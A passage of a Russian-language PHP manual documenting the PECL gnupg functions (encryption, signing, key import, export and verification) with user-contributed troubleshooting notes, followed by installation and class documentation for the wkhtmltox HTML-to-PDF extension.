8wnHsQ4Z4Tzk+ag0k+6pZZXjcL6Le486wpZ9MAe6LM31XDpQDVtyCL8t63nvQpB8
TUimbseBZMb3TytCubNLGFe5FnNLGDciElcD09d2xC6Xv6zE2jj4GtBW1bXqYWtl
jm0PA/4u6av6o6pIgLRfAawspr8kaeZ8+FU4NbIiS6xZmBUEQ/o7q95VKGgFVKBi
ugDOlnbgSzBIwSlsRVT2ivu/XVWnhQaRCotSm3AzOc2XecqrJ6F1gqk0n+yP/1h1
yeTvvfS5zgqNTG2UmovjVsKFzaDqmsYZ+sYfwc209z9PY+6FuLQnQXBhY2hlVGVz
dCAoVGVzdGluZykgPGFwYWNoZUBsb2NhbGhvc3Q+iF4EExECAB4FAke68W8CGwMG
CwkIBwMCAxUCAwMWAgECHgECF4AACgkQJE9COu2PFIEGDwCglArzAza13xjbdR04
DQ1U9FWQhMYAnRrWQeGTRm+BYm6SghNpDOKcmMqruQENBEe68XAQBADPIO+JFe5t
BQmI4l60bNMNSUqsL0TtIP8G6Bpd8q2xBOemHCLfGT9Y5DN6k0nneBQxajSfWBQ5
ZdKFwV5ezICz9fnGisEf9LPSwctfUIcvumbcPPsrUOUZX7BuCHrcfy1nebS3myO/
ScTKpW8Wz8AjpKTBG55DMkXSvnx+hS+PEwADBQP/dNnVlKYdNKA70B4QTEzfvF+E
5lyiauyT41SQoheTMhrs/3RIqUy7WWn3B20aTutHWWYXdYV+E85/CarhUmLNZGA2
tml1Mgl6F2myQ/+MiKi/aj9NVhcuz38OK/IAze7kNJJqK+UEWblB2Wfa31/9nNzv
ewVHa1xHtUyVDaewAACISQQYEQIACQUCR7rxcAIbDAAKCRAkT0I67Y8UgRwEAKDT
L6DwyEZGLTpAqy2OLUH7SFKm2ACgr3tnPuPFlBtHx0OqY4gGiNMJHXE=
=jHPH
-----END PGP PUBLIC KEY BLOCK-----";

$enc = (null);
$res = gnupg_init();
echo "gnupg_init RTV = <br/><pre>\n";
var_dump($res);
echo "</pre>\n";
$rtv = gnupg_import($res, $pubkey);
echo "gnupg_import RTV = <br/><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$rtv = gnupg_addencryptkey($res, "C25F29936D9046D73A77DCF8244F423AED8F1481");
echo "gnupg_addencryptkey RTV = <br /><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$enc = gnupg_encrypt($res, "just a test to see if anything works");
echo "Encrypted Data: " . $enc . "<br/>";

?>
paul at cressbrook dot co dot uk 14-Feb-2007 04:52
Hi

I found that the apache or httpd user (or whichever user the webserver is using to run) needed to have write access to the .gnupg directory for the gnupg_php functions to work. This could be your problem.  It seems a rather unsatisfactory feature of this module - gnupg keeps giving warnings that it is unsafe.
jkushner at livemercial dot com 03-Jan-2007 11:49
Very nice function, yet I cant seem to get it to work correctly.
Here is what I have..

/**
 * Test Values. Will be grabbed from database.
 */
$_STR_recipientKeyId='78F21BCA81042C23';

// This is a wrapper class I made that engulfs the gnupg class
if(!class_exists('core_Gnupg')){
    require(CORE_PATH_CLASS.'Gnupg.class.php');
}

//$_OBJ_gpg is just an instantiation of that class.
//returnInfo takes in the userID name, and uses the keyinfo() //function to return an array of data for that user.
$_ARR_keyinfo=$_OBJ_gpg->returnInfo($_STR_recipientUserId);

//now I have the fully functional userid
//ex: Jonathan Kushner <jkushner@livemercial.com>
$_STR_recipientUserId=$_ARR_keyinfo[0]['uids'][0]['uid'];

###########################

See, originally I was using the fingerprint from the $_ARR_keyinfo above and passing that into the encrypt function, but it still associated the encrypted data with my personal private key that I have associated with apache.

Any ideas?


Шифрует и подписывает переданный текст

  • « gnupg_encrypt
  • gnupg_export »
  • PHP Manual
  • GnuPG Функции
  • Шифрует и подписывает переданный текст

gnupg_encryptsign

(PECL gnupg >= 0.2)

gnupg_encryptsign — Шифрует и подписывает переданный текст

Описание

gnupg_encryptsign(resource $identifier, string $plaintext): string|false

Шифрует и подписывает переданный в параметре plaintext текст ключами, которые были установлены gnupg_addsignkey и gnupg_addencryptkey ранее и возвращает зашифрованный и подписанный текст.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

plaintext

Текст для шифрования.

Возвращаемые значения

В случае успешного выполнения, эта функция возвращает зашифрованный и подписанный текст. В случае возникновения ошибки эта функция возвращает false.

Примеры

Пример #1 Процедурный пример использования gnupg_encryptsign()

<?php
$res = gnupg_init();
gnupg_addencryptkey($res, "8660281B6051D071D94B5B230549F9DC851566DC");
gnupg_addsignkey($res, "8660281B6051D071D94B5B230549F9DC851566DC", "test");
$enc = gnupg_encryptsign($res, "просто тест");
echo $enc;
?>

Пример #2 Объектно-ориентированный пример использования gnupg_encryptsign()

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = $gpg->encryptsign("just a test");
echo $enc;
?>

User Contributed Notes

upul at tfs dot co 19-Sep-2023 05:34
$gpg->addencryptkey('Sender public key fingerprint ');
$gpg->addsignkey('My Private key fingerprint',$passphrase);
$enc = $gpg->encryptsign(test.csv);

With the above code file gets encrypted but the file does not get signed. moreover, if I use my public key fingerprint for addencryptkey file gets encrypted and signed. Any idea for this issue?


Экспортирует ключ

  • « gnupg_encryptsign
  • gnupg_getengineinfo »
  • PHP Manual
  • GnuPG Функции
  • Экспортирует ключ

gnupg_export

(PECL gnupg >= 0.1)

gnupg_export — Экспортирует ключ

Описание

gnupg_export(resource $identifier, string $fingerprint): string|false

Экспортирует ключ fingerprint.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

fingerprint

Отпечаток ключа.

Возвращаемые значения

В случае успешного выполнения функция возвращает ключ. В случае возникновения ошибки функция возвращает false.

Примеры

Пример #1 Пример использования gnupg_export() в процедурном стиле

<?php
$res = gnupg_init();
$export = gnupg_export($res, "8660281B6051D071D94B5B230549F9DC851566DC");
echo $export;
?>

Пример #2 Пример использования gnupg_export() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$export = $gpg->export("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 02:21
Just to ensure you, because it is not mentioned in the manual: of course, only the public key is exported, even if you have the private key in your keyring.


Возвращает информацию о движке

  • « gnupg_export
  • gnupg_geterror »
  • PHP Manual
  • GnuPG Функции
  • Возвращает информацию о движке

gnupg_getengineinfo

(PECL gnupg >= 1.5)

gnupg_getengineinfo — Возвращает информацию о движке

Описание

gnupg_getengineinfo(resource $identifier): array

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает массив с информацией о движке, состоящей из protocol, file_name и home_dir.

Примеры

Пример #1 Пример использования gnupg_getengineinfo() в процедурном стиле

<?php
$res = gnupg_init();
print_r(gnupg_getengineinfo($res));
?>

Результат выполнения данного примера:

array(3) {
  ["protocol"]=>
  int(0)
  ["file_name"]=>
  string(12) "/usr/bin/gpg"
  ["home_dir"]=>
  string(0) ""
}

Пример #2 Пример использования gnupg_getengineinfo() в объектно-ориентированном стиле

<?php
$gpg = new gnupg(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
print_r($gpg->getengineinfo());
?>

Результат выполнения данного примера:

array(3) {
  ["protocol"]=>
  int(0)
  ["file_name"]=>
  string(13) "/usr/bin/gpg2"
  ["home_dir"]=>
  string(15) "/var/www/.gnupg"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст сообщения об ошибке, если функция не была выполнена

  • « gnupg_getengineinfo
  • gnupg_geterrorinfo »
  • PHP Manual
  • GnuPG Функции
  • Возвращает текст сообщения об ошибке, если функция не была выполнена

gnupg_geterror

(PECL gnupg >= 0.1)

gnupg_geterror — Возвращает текст сообщения об ошибке, если функция не была выполнена

Описание

gnupg_geterror(resource $identifier): string|false

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает текст сообщения об ошибке, если произошла ошибка, в противном случае возвращает false.

Примеры

Пример #1 Пример использования gnupg_geterror() в процедурном стиле

<?php
$res = gnupg_init();
echo gnupg_geterror($res);
?>

Пример #2 Пример использования gnupg_geterror() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
echo $gpg->geterror();
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию об ошибке

  • « gnupg_geterror
  • gnupg_getprotocol »
  • PHP Manual
  • GnuPG Функции
  • Возвращает информацию об ошибке

gnupg_geterrorinfo

(PECL gnupg >= 1.5)

gnupg_geterrorinfo — Возвращает информацию об ошибке

Описание

gnupg_geterrorinfo(resource $identifier): array

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает массив с информацией об ошибке.

Примеры

Пример #1 Пример использования gnupg_geterrorinfo() в процедурном стиле

<?php
$res = gnupg_init();
// вызывается без ошибок
print_r(gnupg_geterrorinfo($res));
?>

Результат выполнения данного примера:

array(4) {
  ["generic_message"]=>
  bool(false)
  ["gpgme_code"]=>
  int(0)
  ["gpgme_source"]=>
  string(18) "Unspecified source"
  ["gpgme_message"]=>
  string(7) "Success"
}

Пример #2 Пример использования gnupg_geterrorinfo() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
// вызов с ошибкой
$gpg->decrypt('abc');
// должна отобразиться информация об ошибке
print_r($gpg->geterrorinfo());
?>

Результат выполнения данного примера:

array(4) {
  ["generic_message"]=>
  string(14) "decrypt failed"
  ["gpgme_code"]=>
  int(117440570)
  ["gpgme_source"]=>
  string(5) "GPGME"
  ["gpgme_message"]=>
  string(7) "No data"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий активный протокол для всех операций

  • « gnupg_geterrorinfo
  • gnupg_gettrustlist »
  • PHP Manual
  • GnuPG Функции
  • Возвращает текущий активный протокол для всех операций

gnupg_getprotocol

(PECL gnupg >= 0.1)

gnupg_getprotocol — Возвращает текущий активный протокол для всех операций

Описание

gnupg_getprotocol(resource $identifier): int

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

Возвращаемые значения

Возвращает текущий активный протокол, который может быть одним из GNUPG_PROTOCOL_OpenPGP или GNUPG_PROTOCOL_CMS.

Примеры

Пример #1 Пример использования gnupg_getprotocol() в процедурном стиле

<?php
$res = gnupg_init();
echo gnupg_getprotocol($res);
?>

Пример #2 Пример использования gnupg_getprotocol() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
echo $gpg->getprotocol();
?>

User Contributed Notes

There are no user contributed notes for this page.


Поиск доверительных элементов

  • « gnupg_getprotocol
  • gnupg_import »
  • PHP Manual
  • GnuPG Функции
  • Поиск доверительных элементов

gnupg_gettrustlist

(PECL gnupg >= 0.5)

gnupg_gettrustlist — Поиск доверительных элементов

Описание

gnupg_gettrustlist(resource $identifier, string $pattern): ?array

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

pattern

Выражение для ограничения списка доверительных элементов только теми, которые соответствуют шаблону.

Возвращаемые значения

В случае успешного выполнения функция возвращает массив доверительных элементов. В случае возникновения ошибки функция возвращает null.

Примеры

Пример #1 Пример использования gnupg_gettrustlist() в процедурном стиле

<?php
$res = gnupg_init();
$items = gnupg_gettrustlist($res);
print_r($items);
?>

Пример #2 Пример использования gnupg_gettrustlist() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$items = $gpg->gettrustlist();
print_r($items);
?>

User Contributed Notes

There are no user contributed notes for this page.


Импортирует ключ

  • « gnupg_gettrustlist
  • gnupg_init »
  • PHP Manual
  • GnuPG Функции
  • Импортирует ключ

gnupg_import

(PECL gnupg >= 0.3)

gnupg_import — Импортирует ключ

Описание

gnupg_import(resource $identifier, string $keydata): array|false

Импортирует ключ keydata и возвращает массив с информацией о процессе импорта.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

keydata

Ключ для импорта.

Возвращаемые значения

В случае успешного выполнения возвращает массив с информацией о процессе импорта. В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования gnupg_import() в процедурном стиле

<?php
$res = gnupg_init();
$info = gnupg_import($res,$keydata);
print_r($info);
?>

Пример #2 Пример использования gnupg_import() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$info = $gpg->import($keydata);
print_r($info);
?>

User Contributed Notes

gst 02-Aug-2021 05:08
In case anybody tries to import keys from file and ends up with return value "false", and absolutely no errors or warnings whatsoever.

gpg module still operates the same way as command line / bash invoked gpg.

If you are runnig a script from under apache, gpg is trying to acces it's ~/.gnupg that likely does not exist for apache user www-data or equivalent:

# su www-data -s /bin/bash -c "gpg"
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied

You simply need to created that folder and chown it to apache user www-data or equivalent.

# mkdir /var/www/.gnupg
# chown www-data:www-data /var/www/.gnupg
dimitri at digirati dot com dot br 03-Oct-2008 07:54
I recommend that the key may be generated in shell command line, then you export the keys using this group of commands.

gpg --export -a "User Name" > public.key
gpg --export-secret-key -a "User Name" > private.key

to use it, at the import and use it for encryption and decryption.

<?php

$GnuPG = new gnupg();

$PublicData = file_get_contents('public.key');
$PrivateData = file_get_contents('public.key');

$PublicKey = $GnuPG->import($PublicData);
$PrivateKey = $GnuPG->import($PrivateData);

echo 'Public Key : ',$PublicKey['fingerprint'],' & Private Key : ',$PrivateKey['fingerprint'];

?>
php at cdauth dot de 02-Dec-2007 07:33
The return array consists of the following values:
(
  [imported] => (int),
  [unchanged] => (int),
  [newuserids] => (int),
  [newsubkeys] => (int),
  [secretimported] => (int),
  [secretunchanged] => (int),
  [newsignatures] => (int),
  [skippedkeys] => (int),
  [fingerprint] => (string)
)

When invalid content is passed, all values, even skippedkeys, is 0. The fingerprint value does not exist then.


Инициализировать GnuPG

  • « gnupg_import
  • gnupg_keyinfo »
  • PHP Manual
  • GnuPG Функции
  • Инициализировать GnuPG

gnupg_init

(PECL gnupg >= 0.4)

gnupg_init — Инициализировать GnuPG

Описание

gnupg_init(?array $options = null): resource

Список параметров

options

Параметр принимает ассоциативный массив. Он используется для изменения конфигурации криптографического механизма по умолчанию.

Переопределение конфигурации
Ключ | Тип | Описание
file_name | string | Имя файла исполняемой программы, реализующей протокол, который обычно является путём к исполняемому файлу gpg.
home_dir | string | Имя каталога конфигурации. Оно также переопределяет переменную окружения GNUPGHOME, которая используется для той же цели.

Возвращаемые значения

Возвращает ресурс (resource) GnuPG, который используется другими функциями GnuPG.

Список изменений

Версия | Описание
1.5.0 | Добавлен параметр options.

Примеры

Пример #1 Пример использования gnupg_init() в процедурном стиле с настройками по умолчанию

<?php
$res = gnupg_init();
?>

Пример #2 Пример использования gnupg_init() в процедурном стиле с переопределённым именем файла и домашним каталогом

<?php
$res = gnupg_init(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
?>

Пример #3 Пример использования инициализатора gnupg в объектно-ориентированном стиле с настройками по умолчанию

<?php
$gpg = new gnupg();
?>

Пример #4 Пример использования в объектно-ориентированном стиле с переопределённым именем файла и домашним каталогом

<?php
$gpg = new gnupg(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
?>

User Contributed Notes

djmaze 21-Jan-2022 09:46
Make sure home_dir option is not too many characters or else private keys fail.

You will notice that functions take a long time (seconds).

Commandline test yield error:
> gpg: can't connect to the agent: IPC connect call failed

Executing `gpg-agent --daemon --homedir /very/long/path/to/.gnupg` gave the error.
> socket name for '/very/long/path/to/.gnupg/S.gpg-agent.extra' is too long

So you must check that home_dir + '/S.gpg-agent.extra' is:
* < 107 characters on Linux
* < 104 on BSD 4.4
der_axel at gmx dot de 10-Nov-2017 08:26
Set the correct GNUPG environment, before you call gnupg_init()!

The current FPM/FastCGI/Module User must have read - if you import write - permissions on that directory. You won't get an error message, if something is not correct.
Without a correct environment, all other gnupg functions will not work as you expected.

<?php
// Enter your .gnupg environment
putenv('GNUPGHOME=/var/www/vhosts/yourdomain/.gnupg');
error_reporting(E_ALL);
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING);
$info = gnupg_keyinfo($res, 'your-key-id');
echo "Key - Info<pre>";
var_dump($info);
echo "</pre>";
?>


Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону

  • « gnupg_init
  • gnupg_listsignatures »
  • PHP Manual
  • GnuPG Функции
  • Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону

gnupg_keyinfo

(PECL gnupg >= 0.1)

gnupg_keyinfo — Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону

Описание

gnupg_keyinfo(resource $identifier, string $pattern): array|false

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

pattern

Шаблон, проверяемый на соответствие.

Возвращаемые значения

Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gnupg_keyinfo() в процедурном стиле

<?php
$res = gnupg_init();
$info = gnupg_keyinfo($res, 'test');
print_r($info);
?>

Пример #2 Пример использования gnupg_keyinfo() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$info = $gpg->keyinfo("test");
print_r($info);
?>

User Contributed Notes

gtisza at gmail dot com 01-Aug-2015 01:31
Returns an array of information blocks. An information block looks like
<?php
array (
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
    'is_secret' => <bool>,
    'can_sign' => <bool>,
    'can_encrypt' => <bool>,
    'uids' => <array of uid blocks>,
    'subkeys' => <array of subkey blocks>,
)
?>
An uid data block looks like
<?php
array (
    'name' => <string>,
    'comment' => <string>,
    'email' => <string>,
    'uid' => <string>,
    'revoked' => <bool>,
    'invalid' => <bool>,
)
?>
A subkey block looks like
<?php
array (
    'fingerprint' => <string>,
    'keyid' => <string>,
    'timestamp' => <int>,
    'expires' => <int>,
    'is_secret' => <bool>,
    'invalid' => <bool>,
    'can_encrypt' => <bool>,
    'can_sign' => <bool>,
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
),
?>
fauger at NOSPAM dot anonymous dot com 04-Jul-2013 07:54
You CAN list all keys in the keyring, you only have to pass an empty string ''.

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo('');
print_r($info);
?>

That's it! ;)
porjo38 at yahoo dot com dot au 19-Feb-2013 10:00
It appears that listing *all* keys is not possible:

<?php
$gpg -> keyinfo();   // throws an error
$gpg -> keyinfo('*');  // is matched literally, not treated as a shell wildcard
$gpg -> keyinfo('.*');  // is matched literally, not treated as a regex wildcard
?>

This seems like a glaring omission to me.


Перечисляет подписи ключа

  • « gnupg_keyinfo
  • gnupg_setarmor »
  • PHP Manual
  • GnuPG Функции
  • Перечисляет подписи ключа

gnupg_listsignatures

(PECL gnupg >= 0.5)

gnupg_listsignatures — Перечисляет подписи ключа

Описание

gnupg_listsignatures(resource $identifier, string $keyid): ?array

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

keyid

Идентификатор ключа для списка подписей.

Возвращаемые значения

В случае успешного выполнения функция возвращает массив подписей ключей. В случае возникновения ошибки функция возвращает null.

Примеры

Пример #1 Пример использования gnupg_listsignatures() в процедурном стиле

<?php
$res = gnupg_init();
$signatures = gnupg_listsignatures($res, "8660281B6051D071D94B5B230549F9DC851566DC");
print_r($signatures);
?>

Пример #2 Пример использования gnupg_listsignatures() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$signatures = $gpg->listsignatures("8660281B6051D071D94B5B230549F9DC851566DC");
print_r($signatures);
?>

User Contributed Notes

There are no user contributed notes for this page.


Переключает вывод в текстовом или бинарном режиме

  • « gnupg_listsignatures
  • gnupg_seterrormode »
  • PHP Manual
  • GnuPG Функции
  • Переключает вывод в текстовом или бинарном режиме

gnupg_setarmor

(PECL gnupg >= 0.1)

gnupg_setarmor — Переключает вывод в текстовом или бинарном режиме

Описание

gnupg_setarmor(resource $identifier, int $armor): bool

Переключает вывод в текстовом или бинарном режиме.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

armor

В случае не нулевого целого числа, функция включает текстовый режим вывода (по умолчанию). В случае 0, вывод в бинарном режиме.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gnupg_setarmor() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_setarmor($res,1); // текстовый режим вывода;
gnupg_setarmor($res,0); // бинарный режим вывода;
?>

Пример #2 Пример использования gnupg_setarmor() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->setarmor(1); // текстовый режим вывода;
$gpg->setarmor(0); // бинарный режим вывода;
?>

User Contributed Notes

jmgorena at gmail dot com 10-Jan-2008 02:51
Take note that when ARMOR is set to OFF, the output will be BINARY. This is wanted for converting file data to a binary gpg format.

With the ARMOR set to ON, the output is ASCII. This might be used for messaging (email, IM, IRC, etc).

Example with Armor on:
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.6 (GNU/Linux)

hQIOA+9JbyriNorZEAf/UuCyC0T80XffXVkmewfrRSvtsYbNSGZFvSr+32jJT2fs
...
...
=YJ4D
-----END PGP MESSAGE-----


Устанавливает режим отчётов об ошибках (error_reporting)

  • « gnupg_setarmor
  • gnupg_setsignmode »
  • PHP Manual
  • GnuPG Функции
  • Устанавливает режим отчётов об ошибках (error_reporting)

gnupg_seterrormode

(PECL gnupg >= 0.6)

gnupg_seterrormode — Устанавливает режим отчётов об ошибках (error_reporting)

Описание

gnupg_seterrormode(resource $identifier, int $errormode): void

Устанавливает режим error_reporting.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

errormode

Режим ошибок.

errormode содержит константу, указывающую, какой тип error_reporting должен быть использован. Возможные значения: GNUPG_ERROR_WARNING, GNUPG_ERROR_EXCEPTION и GNUPG_ERROR_SILENT. По умолчанию используется GNUPG_ERROR_SILENT.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования gnupg_seterrormode() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_seterrormode($res, GNUPG_ERROR_WARNING); // выводить PHP-предупреждения в случае возникновения ошибки
?>

Пример #2 Пример использования gnupg_seterrormode() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->seterrormode(gnupg::ERROR_EXCEPTION); // исключение в случае возникновения ошибки
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим подписывания

  • « gnupg_seterrormode
  • gnupg_sign »
  • PHP Manual
  • GnuPG Функции
  • Устанавливает режим подписывания

gnupg_setsignmode

(PECL gnupg >= 0.1)

gnupg_setsignmode — Устанавливает режим подписывания

Описание

gnupg_setsignmode(resource $identifier, int $signmode): bool

Устанавливает режим подписывания.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

sigmode

Режим подписывания.

signmode содержит константу, указывающую, какой тип подписи должен быть произведён. Возможные значения: GNUPG_SIG_MODE_NORMAL, GNUPG_SIG_MODE_DETACH и GNUPG_SIG_MODE_CLEAR. По умолчанию используется GNUPG_SIG_MODE_CLEAR.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gnupg_setsignmode() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_setsignmode($res, GNUPG_SIG_MODE_DETACH); // производить раздельную подпись
?>

Пример #2 Пример использования gnupg_setsignmode() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->setsignmode(gnupg::SIG_MODE_DETACH); // производить раздельную подпись
?>

User Contributed Notes

There are no user contributed notes for this page.


Подписывает переданный текст

  • « gnupg_setsignmode
  • gnupg_verify »
  • PHP Manual
  • GnuPG Функции
  • Подписывает переданный текст

gnupg_sign

(PECL gnupg >= 0.1)

gnupg_sign — Подписывает переданный текст

Описание

gnupg_sign(resource $identifier, string $plaintext): string|false

Подписывает переданный в параметре plaintext текст ключом, который был прежде установлен с помощью gnupg_addsignkey и возвращает подписанный текст или подпись, в зависимости от того, что было установлено в gnupg_setsignmode.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

plaintext

Простой текст для подписания.

Возвращаемые значения

В случае успешного выполнения функция возвращает подписанный текст или подпись. В случае возникновения ошибки функция возвращает false.

Примеры

Пример #1 Пример использования gnupg_sign() в процедурном стиле

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = gnupg_sign($res, "просто тест");
echo $signed;
?>

Пример #2 Пример использования gnupg_sign() в объектно-ориентированном стиле

<?php
$gpg = new gnupg();
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = $gpg->sign("просто тест");
echo $signed;
?>

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 03:42
It's a bit confusing how the "keyinfo" for a key returns "can_sign".

If you have only added your Public Key, it will indicate "can_sign" for the key in "keyinfo", but that doesn't mean yet, that you can sign with the key. You will also need to add your Private Key to actually make signing work.


Проверяет подпись текста

  • « gnupg_sign
  • wkhtmltox »
  • PHP Manual
  • GnuPG Функции
  • Проверяет подпись текста

gnupg_verify

(PECL gnupg >= 0.1)

gnupg_verify — Проверяет подпись текста

Описание

gnupg_verify(
resource $identifier,
string $signed_text,
string $signature,
string &$plaintext = ?
): array|false

Проверяет подпись переданного в параметре signed_text текста и возвращает информацию о подписи.

Список параметров

identifier

Идентификатор gnupg, полученный из gnupg_init() или gnupg.

signed_text

Подписанный текст.

signature

Подпись. Чтобы проверить прозрачную подпись, параметр должен быть равен false.

plaintext

Обычный текст. Если этот необязательный параметр необходимо передать, то он заполняется обычным текстом.

Возвращаемые значения

В случае успешного выполнения функция возвращает информацию о подписи. В случае возникновения ошибки функция возвращает false.

Примеры

Пример #1 Пример использования gnupg_verify() в процедурном стиле

<?php
$plaintext = "";
$res = gnupg_init();
// прозрачная подпись
$info = gnupg_verify($res, $signed_text, false, $plaintext);
print_r($info);
// раздельная подпись
$info = gnupg_verify($res, $signed_text, $signature);
print_r($info);
?>

Пример #2 Пример использования gnupg_verify() в объектно-ориентированном стиле

<?php
$plaintext = "";
$gpg = new gnupg();
// прозрачная подпись
$info = $gpg->verify($signed_text, false, $plaintext);
print_r($info);
// раздельная подпись
$info = $gpg->verify($signed_text, $signature);
print_r($info);
?>

User Contributed Notes

izumeroot at gmail dot com 25-Jan-2022 08:50
Where can I see description of result array?

I've got

Array
(
    [0] => Array
        (
            [fingerprint] => 9BF78012F700B345827346E1EFA3026F01404358
            [validity] => 4
            [timestamp] => 1643100153
            [status] => 0
            [summary] => 3
        )

)

But what does "status" mean? What is "validity"? What is "summary"?
kae at verens dot com 19-Sep-2008 04:27
You can see who made the signature by checking its fingerprint:

<?php
$res = gnupg_init();
$info = gnupg_verify($res,$signed_text,$signature);
if($info !== false){
  $fingerprint = $info['fingerprint'];
  var_dump(gnupg_keyinfo($res, $fingerprint));
}


wkhtmltox

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • wkhtmltox\PDF\Converter — Класс wkhtmltox\PDF\Converter
    • wkhtmltox\PDF\Converter::add — Добавление объекта для преобразования
    • wkhtmltox\PDF\Converter::__construct — Создать новый PDF-конвертер
    • wkhtmltox\PDF\Converter::convert — Выполнить преобразование PDF
    • wkhtmltox\PDF\Converter::getVersion — Определить версию конвертера
  • wkhtmltox\PDF\Object — Класс wkhtmltox\PDF\Object
    • wkhtmltox\PDF\Object::__construct — Создать новый объект PDF
  • wkhtmltox\Image\Converter — Класс wkhtmltox\Image\Converter
    • wkhtmltox\Image\Converter::__construct — Создать новый конвертер изображений
    • wkhtmltox\Image\Converter::convert — Выполнить преобразование изображений
    • wkhtmltox\Image\Converter::getVersion — Определить версию конвертера

User Contributed Notes

There are no user contributed notes for this page.


Введение

libwkhtmltox - это библиотека LGPLv3 с открытым исходным кодом для отрисовки HTML в PDF и различные форматы изображений с использованием механизма отрисовки QtWebKit.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Исходные и двоичные релизы libwkhtmltox распространяются по адресу » wkhtmltopdf.org.

Предостережение

Пользователям Windows необходимо выполнить дополнительный шаг добавления wkhtmltox.dll в переменную окружения PATH.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Исходный код этого модуля и двоичные файлы для Windows доступны на » github,

Получение исходного кода и сборка модуля:

git clone https://github.com/krakjoe/wkhtmltox
cd wkhtmltox
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

Получение обновлений и повторная сборка модуля:

cd wkhtmltox
phpize --clean
git pull origin master
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Название | Описание | Значение по умолчанию | Уровень изменения | Версия
wkhtmltox.graphics | разрешить libwkhtmltox использовать графику | Off | PHP_INI_SYSTEM | PHP_INI_PERDIR | >= 0.3.2

User Contributed Notes

There are no user contributed notes for this page.


Класс wkhtmltox\PDF\Converter

(wkhtmltox >= 0.1.0)

Введение

Преобразует входные данные HTML или набор входных данных HTML в PDF

Обзор классов

class wkhtmltox\PDF\Converter {
/* Constructor */
public __construct(array $settings = ?)
/* Методы */
public add(wkhtmltox\PDF\Object $object): void
public convert(): ?string
public getVersion(): string
}

Содержание

  • wkhtmltox\PDF\Converter::add — Добавление объекта для преобразования
  • wkhtmltox\PDF\Converter::__construct — Создать новый PDF-конвертер
  • wkhtmltox\PDF\Converter::convert — Выполнить преобразование PDF
  • wkhtmltox\PDF\Converter::getVersion — Определить версию конвертера

User Contributed Notes

There are no user contributed notes for this page.


